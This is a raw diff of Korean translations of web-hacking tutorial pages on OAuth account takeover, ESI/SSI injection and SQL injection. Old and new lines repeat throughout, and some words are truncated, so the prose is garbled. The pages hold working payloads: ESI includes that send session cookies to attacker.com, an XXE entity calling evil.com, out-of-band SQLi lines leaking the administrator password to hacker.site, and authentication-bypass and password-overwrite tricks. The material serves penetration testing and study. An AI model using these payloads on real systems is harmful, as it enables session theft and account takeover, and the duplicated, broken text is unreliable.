[**이 비디오에서 설명된 바와 같이**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), 일부 OAuth 구현에서는 **`prompt`** GET 매개변수를 None (**`&prompt=none`**)으로 지정하여 사용자가 플랫폼에 이미 로그인한 경우 웹에서 주어진 접근을 확인하라는 요청을 받지 않도록 **방지할 수 있습니다**.
[**이 비디오에서 설명된 바와 같이**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), 일부 OAuth 구현에서는 **`prompt`** GET 매개변수를 None (**`&prompt=none`**)으로 지정하여 사용자가 이미 플랫폼에 로그인한 경우 웹에서 주어진 접근을 확인하라는 요청을 방지할 수 있습니다.
### response_mode
@ -184,24 +186,24 @@ AWS Cognito를 악용하는 방법에 대한 자세한 정보는 다음을 확
이 [**블로그 게시물**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)은 **리퍼러**의 값을 사용하여 **오픈 리디렉션**을 악용하여 OAuth를 ATO로 악용하는 방법을 설명합니다. 공격은 다음과 같았습니다:
1. 피해자가 공격자의 웹 페이지에 접근합니다.
2. 피해자가 악성 링크를 열고, 오프너가 `response_type=id_token,code&prompt=none`을 추가 매개변수로 사용하여 Google OAuth 흐름을 시작합니다. **리퍼러는 공격자의 웹사이트**입니다.
2. 피해자가 악성 링크를 열고, 오프너가 `response_type=id_token,code&prompt=none`을 추가 매개변수로 사용하여 **공격자의 웹사이트를 리퍼러로** 하여 Google OAuth 흐름을 시작합니다.
3. 오프너에서 제공자가 피해자를 승인한 후, `redirect_uri` 매개변수의 값(피해자 웹)으로 30X 코드와 함께 다시 보냅니다. 이때 여전히 공격자의 웹사이트가 리퍼러에 남아 있습니다.
4. 피해자 **웹사이트는 리퍼러를 기반으로 오픈 리디렉션을 트리거하여** 피해자 사용자를 공격자의 웹사이트로 리디렉션합니다. **`respose_type`**이 **`id_token,code`**였기 때문에, 코드는 URL의 **조각**으로 공격자에게 다시 전송되어 피해자의 사이트에서 Google을 통해 사용자의 계정을 탈취할 수 있게 됩니다.
4. 피해자 **웹사이트는 리퍼러를 기반으로 오픈 리디렉션을 트리거하여** 피해자 사용자를 공격자의 웹사이트로 리디렉션합니다. **`response_type`**이 **`id_token,code`**였기 때문에, 코드는 URL의 **조각**으로 공격자에게 다시 전송되어 피해자의 사이트에서 Google을 통해 사용자의 계정을 탈취할 수 있게 됩니다.
### SSRF 매개변수 <a href="#bda5" id="bda5"></a>
[**이 연구를 확인하세요**](https://portswigger.net/research/hidden-oauth-attack-vectors) **이 기술에 대한 추가 세부정보를 위해.**
OAuth의 동적 클라이언트 등록은 보안 취약점, 특히 **서버 측 요청 위조(SSRF)** 공격에 대한 덜 명백하지만 중요한 벡터로 작용합니다. 이 엔드포인트는 OAuth 서버가 클라이언트 애플리케이션에 대한 세부정보를 수신할 수 있도록 하며, 여기에는 악용될 수 있는 민감한 URL이 포함됩니다.
OAuth의 동적 클라이언트 등록은 **서버 측 요청 위조(SSRF)** 공격을 위한 덜 명백하지만 중요한 보안 취약점 벡터로 작용합니다. 이 엔드포인트는 OAuth 서버가 클라이언트 애플리케이션에 대한 세부정보를 수신할 수 있도록 하며, 악용될 수 있는 민감한 URL을 포함합니다.
**주요 사항:**
- **동적 클라이언트 등록**은 종종 `/register`에 매핑되며 `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON 웹 키 세트(JWK)에 대한 URL과 같은 세부정보를 POST 요청을 통해 수합니다.
- **동적 클라이언트 등록**은 종종 `/register`에 매핑되며 `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON 웹 키 세트(JWK)에 대한 URL과 같은 세부정보를 POST 요청을 통해 수합니다.
- 이 기능은 **RFC7591** 및 **OpenID Connect Registration 1.0**에 명시된 사양을 준수하며, SSRF에 취약할 수 있는 매개변수를 포함합니다.
- 등록 프로세스는 여러 방식으로 SSRF에 서버를 노출시킬 수 있습니다:
- 등록 프로세스는 여러 가지 방법으로 SSRF에 서버를 노출시킬 수 있습니다:
- **`logo_uri`**: 서버가 가져올 수 있는 클라이언트 애플리케이션의 로고 URL로, SSRF를 유발하거나 URL이 잘못 처리될 경우 XSS로 이어질 수 있습니다.
- **`jwks_uri`**: 클라이언트의 JWK 문서에 대한 URL로, 악의적으로 작성된 경우 서버가 공격자가 제어하는 서버로 아웃바운드 요청을 하게 만들 수 있습니다.
- **`sector_identifier_uri`**: 서버가 가져올 수 있는 `redirect_uris`의 JSON 배열을 참조하여 SSRF 기회를 생성할 수 있습니다.
- **`sector_identifier_uri`**: 서버가 가져올 수 있는 `redirect_uris`의 JSON 배열을 참조하여 SSRF 기회를 생성니다.
- **`request_uris`**: 클라이언트에 대한 허용된 요청 URI를 나열하며, 서버가 인증 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
**악용 전략:**
@ -213,7 +215,7 @@ OAuth의 동적 클라이언트 등록은 보안 취약점, 특히 **서버 측
테스트 중인 플랫폼이 OAuth 제공자인 경우 [**경쟁 조건을 테스트하기 위해 이 내용을 읽으세요**](race-condition.md).
## 참고 문헌
## 참고자료
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)

View File

@ -15,7 +15,7 @@ SSI(서버 사이드 포함)는 **HTML 페이지에 배치되고, 페이지가
`Tuesday, 15-Jan-2013 19:28:54 EST`
SSI를 사용할 시점과 페이지를 완전히 프로그램에 의해 생성할 시점의 결정은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보 조각을 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성되는 경우, 다른 솔루션을 찾아야 합니다.
SSI를 사용할 시점과 페이지를 완전히 프로그램에 의해 생성할 시점의 결정은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보 조각을 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성된다면, 다른 해결책을 찾아야 합니다.
웹 애플리케이션이 확장자가 **`.shtml`, `.shtm` 또는 `.stm`**인 파일을 사용하는 경우 SSI의 존재를 추론할 수 있지만, 그것만이 전부는 아닙니다.
@ -89,26 +89,26 @@ hell<!--esi-->o
```
### ESI 취약점
[GoSecure](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 다양한 ESI 지원 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하기 위한 표를 만들었습니다. 이는 지원되는 기능에 따라 다릅니다:
[GoSecure에서 생성한](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 표는 지원되는 기능에 따라 다양한 ESI 지원 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하는 데 도움이 됩니다:
- **Includes**: `<esi:includes>` 지시어를 지원합니다.
- **Vars**: `<esi:vars>` 지시어를 지원합니다. XSS 필터를 우회하는 데 유용합니다.
- **Cookie**: 문서 쿠키는 ESI 엔진에 접근할 수 있습니다.
- **Upstream Headers Required**: 상위 애플리케이션이 헤더를 제공하지 않으면 대체 애플리케이션은 ESI 문장을 처리하지 않습니다.
- **Host Allowlist**: 이 경우 ESI 포함은 허용된 서버 호스트에서만 가능하므로, 예를 들어 SSRF는 해당 호스트에 대해서만 가능합니다.
- **Includes**: `<esi:includes>` 지시어를 지원합니다
- **Vars**: `<esi:vars>` 지시어를 지원합니다. XSS 필터를 우회하는 데 유용합니다
- **Cookie**: 문서 쿠키는 ESI 엔진에 접근할 수 있습니다
- **Upstream Headers Required**: 상위 애플리케이션이 헤더를 제공하지 않는 한 대리 애플리케이션은 ESI 문장을 처리하지 않습니다
- **Host Allowlist**: 이 경우 ESI 포함은 허용된 서버 호스트에서만 가능하므로, 예를 들어 SSRF는 해당 호스트에 대해서만 가능합니다
| **소프트웨어** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | 예 | 예 | 예 | 예 | 아니오 |
| Varnish Cache | 예 | 아니오 | 아니오 | 예 | 예 |
| Fastly | 예 | 아니오 | 아니오 | 아니오 | 예 |
| Akamai ESI 테스트 서버 (ETS) | 예 | 예 | 예 | 아니오 | 아니오 |
| NodeJS esi | 예 | 예 | 예 | 아니오 | 아니오 |
| NodeJS nodesi | 예 | 아니오 | 아니오 | 아니오 | 선택적 |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
#### XSS
다음 ESI 지시어는 서버의 응답 내에서 임의의 파일을 로드합니다.
다음 ESI 지시어는 서버의 응답 내에서 임의의 파일을 로드합니다
```xml
<esi:include src=http://attacker.com/xss.html>
```
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- XSS를 사용하여 응답에 반영하여 HTTP_ONLY 쿠키를 훔치기:
- XSS를 사용하여 응답에 반영하여 HTTP_ONLY 쿠키를 탈취하기:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -160,7 +160,7 @@ Use <!--esi--> to bypass WAFs:
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
- 응답에 헤더 추가 (XSS가 있는 응답에서 "Content-Type: text/json" 우회에 유용)
- 응답에 헤더 추가 (XSS가 있는 응답에서 "Content-Type: text/json" 우회에 유용)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -175,15 +175,15 @@ Use <!--esi--> to bypass WAFs:
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai 디버그
#### Akamai debug
이것은 응답에 포함된 디버그 정보를 보낼 것입니다:
이것은 응답에 포함된 디버그 정보를 보니다:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
**`eXtensible Stylesheet Language Transformations (XSLT)`** 구문을 ESI에서 사용할 수 있으며, 단지 **`dca`** 값을 **`xslt`**로 지정하면 됩니다. 이는 **XSLT**를 악용하여 XML 외부 엔티티 취약점(XXE)을 생성하고 악용할 수 있게 할 수 있습니다:
**`eXtensible Stylesheet Language Transformations (XSLT)`** 구문을 ESI에서 사용하려면 **`dca`** 값을 **`xslt`**로 지정하기만 하면 됩니다. 이는 **XSLT**를 악용하여 XML 외부 엔티티 취약점(XXE)을 생성하고 악용할 수 있게 할 수 있습니다:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -193,6 +193,8 @@ XSLT 파일:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
XSLT 페이지를 확인하세요:
{{#ref}}
xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
@ -203,8 +205,10 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## 무차별 대입 탐지 목록
## 브루트 포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## SQL 인젝션이란 무엇인가?
## SQL 인젝션이란?
**SQL 인젝션**은 공격자가 애플리케이션의 **데이터베이스 쿼리**에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정**, 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변화를 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
**SQL 인젝션**은 공격자가 애플리케이션의 **데이터베이스 쿼리**에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정** 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
## 진입점 탐지
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL 인젝션(SQLi)에 취약한 것으로 보일 때**, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터를 주입하는 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별하는 것을 요구합니다. 다음은 유용한 몇 가지 예입니다:
사이트가 SQLi 관련 입력에 대한 비정상적인 서버 응답으로 인해 **SQL 인젝션(SQLi)에 취약한** 것으로 보일 때, **첫 번째 단계**는 **쿼리를 방해하지 않고 데이터를 주입하는 방법**을 이해하는 것입니다. 이는 현재 컨텍스트에서 **효과적으로 벗어나는 방법**을 식별하는 것을 요구합니다. 다음은 유용한 몇 가지 예입니다:
```
[Nothing]
'
@ -21,9 +21,9 @@
"))
`))
```
렇다면 **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
런 다음, **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이점을 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
### **주석**
```sql
@ -53,9 +53,9 @@ HQL does not support comments
```
### 논리 연산으로 확인하기
SQL 인젝션 취약을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수`?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠가 생성되면 SQL 인젝션 취약성이 있음을 나타냅니다.
SQL 인젝션 취약을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수`?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1``?id=2-1`에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1``?id=2-1`에 접근했을 때 동일한 결과가 나온다면, 이는 SQL 인젝션을 나타냅니다.
논리 연산 확인을 보여주는 예:
```
@ -132,14 +132,16 @@ SQLite
### PortSwigger로 식별하기
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/sql-injection/cheat-sheet
{{#endref}}
## Union 기반 악용
## 유니온 기반 악용
### 열 수 감지
### 열 수 감지하기
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 악용 방법입니다.\
우선, **초기 요청**이 반환하는 **열의 수**를 알아내야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
우선, **초기 요청**이 반환하는 **열****수**를 알아내야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
#### Order/Group by
@ -187,7 +189,7 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
## 숨겨진 유니온 기반 활용
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 의미합니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행 쿼리를 파악해야 합니다.
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행 쿼리를 파악해야 합니다.
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
@ -211,13 +213,13 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
```
## 오류 블라인드 SQLi 활용
이것은 **이전과 동일한 경우**이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 **오류**가 발생했는지 여부를 **구분할 수 있습니다**(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우, 문자를 올바르게 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:
이것은 **이전과 동일한 경우**이지만 쿼리의 true/false 응답을 구분하는 대신 SQL 쿼리에서 **오류**가 는지 여부를 **구분할 수 있습니다**(아마도 HTTP 서버가 중단되기 때문입니다). 따라서 이 경우, 문자를 올바르게 추측할 때마다 SQL 오류를 강제로 발생시킬 수 있습니다:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 시간 기반 SQLi 활용
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구분**할 수 있는 방법이 **없습니다**. 하지만, 추측한 문자가 맞으면 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 통한 확인](./#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 통한 확인](./#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -237,13 +239,13 @@ select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## 자동화된 익스플로잇
## 자동화된 취약점 악용
[SQLMap Cheatsheet](sqlmap/)를 확인하여 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)으로 SQLi 취약점을 익스플로잇하세요.
[SQLMap Cheatsheet](sqlmap/)를 확인하여 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)으로 SQLi 취약점을 악용하세요.
## 기술별 정보
SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
SQL Injection 취약점을 악용하는 모든 방법에 대해 이미 논의했습니다. 이 책에서 데이터베이스 기술에 따라 더 많은 트릭을 찾아보세요:
- [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md)
@ -251,7 +253,7 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.**
**MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
## 인증 우회
@ -265,7 +267,7 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
이 쿼리는 인증 검사에서 원시 출력을 위해 true로 MD5를 사용할 때 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이로 인해 무단 접근이 발생할 수 있습니다.
이 쿼리는 인증 검사에서 원시 출력을 위해 true로 MD5를 사용할 때 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이는 무단 접근으로 이어질 수 있습니다.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -298,7 +300,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### 다중 컨텍스트 주입 (Polyglot injection)
### 폴리글롯 인젝션 (다중 컨텍스트)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
@ -306,23 +308,23 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
### 기존 객체/사용자의 비밀번호 수정
이를 위해 **"마스터 객체"**라는 이름의 새 객체를 **생성하려고 시도해야 합니다** (사용자의 경우 **admin**일 가능성이 높습니다) 뭔가를 수정합니다:
이를 위해 **"마스터 객체"**라는 이름의 새 객체를 **생성**하려고 시도해야 합니다 (사용자의 경우 **admin**일 가능성이 높습니다) 뭔가를 수정하여:
- 이름이 **AdMIn**인 사용자 생성 (대문자 및 소문자 혼합)
- 이름이 **admin=**인 사용자 생성
- **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> 이름이 **admin \[공백이 많음] a**인 사용자 생성
- **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> 이름이 **admin \[공백 많이] a**인 사용자 생성
#### SQL Truncation Attack
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하려면: "_admin \[30 공백] a_"라는 사용자 이름을 생성해 보십시오. 그리고 아무 비밀번호나 사용하십시오.
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30인 경우, **admin** 사용자를 가장하고 싶다면, "_admin \[30 공백] a_"라는 사용자 이름을 생성해 보십시오. 그리고 아무 비밀번호나 입력합니다.
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. **존재하지 않으면**, **사용자 이름**을 **최대 허용 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 **자동으로 모든 공백을 제거합니다** (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. 만약 **존재하지 않으면**, **사용자 이름**을 **허용된 최대 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 **자동으로 끝의 모든 공백을 제거하여** 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
자세한 정보: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
_참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동하지 않습니다. 비교는 여전히 기본적으로 후행 공백을 무시하지만, 필드의 길이보다 긴 문자열을 삽입하려고 하면 오류가 발생하고 삽입이 실패합니다. 이 확인에 대한 자세한 정보는:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert 시간 기반 검사
### MySQL Insert 시간 기반 확인
`','',''`를 가능한 한 많이 추가하여 VALUES 문을 종료하십시오. 지연이 발생하면 SQLInjection이 있습니다.
```sql
@ -340,15 +342,15 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
```
다음은 작동 방식입니다:
- 쿼리는 `generic_user@example.com`에 대한 행과 `admin_generic@example.com`에 대한 행을 삽입하려고 시도합니다.
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`을 위한 것이고, 다른 하나는 `admin_generic@example.com`을 위한 것입니다.
- `admin_generic@example.com`에 대한 행이 이미 존재하는 경우, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
- 따라서 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
- 따라서 인증은 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
### 정보 추출
#### 동시에 2개의 계정 만들기
새 사용자와 사용자 이름을 만들려고 할 때 비밀번호와 이메일이 필요합니다:
새 사용자와 사용자 이름을 만들려고 할 때, 비밀번호와 이메일이 필요합니다:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -443,9 +445,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
### 열 이름 제한 우회
먼저, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
우선, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
**이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
**이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -459,7 +461,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
### WAF 우회 제안 도구
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## 기타 가이드
@ -468,7 +472,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
## 브루트포스 탐지 목록
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## PostgreSQL Extensions
